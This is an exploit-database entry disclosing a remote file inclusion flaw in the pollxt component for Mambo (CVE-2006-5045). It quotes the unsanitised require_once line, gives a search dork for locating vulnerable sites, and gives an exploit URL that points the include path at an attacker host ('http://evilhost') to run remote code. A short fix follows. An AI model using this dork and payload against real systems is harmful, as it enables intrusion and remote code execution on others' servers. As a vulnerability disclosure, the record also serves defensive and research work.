Mambo Component pollxt 1.22.07 - Remote File Inclusion

Author: vitux
type: webapps
platform: php
port: 
date_added: 2006-07-16 
date_updated:  
verified: 1 
codes: OSVDB-27429;CVE-2006-5045 
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Application : pollxt mambo Component

URL : http://www.mamboxt.com

Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_pollxt/conf.pollxt.php on line 1-2

require_once($mosConfig_absolute_path."/administrator/components/com_pollxt/pollxt.class.php");

Exploit:
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dork: inurl:"com_pollxt"

http://www.vuln.com/components/com_pollxt/conf.pollxt.php?mosConfig_absol
ute_path=http://evilhost

Fix
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Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux

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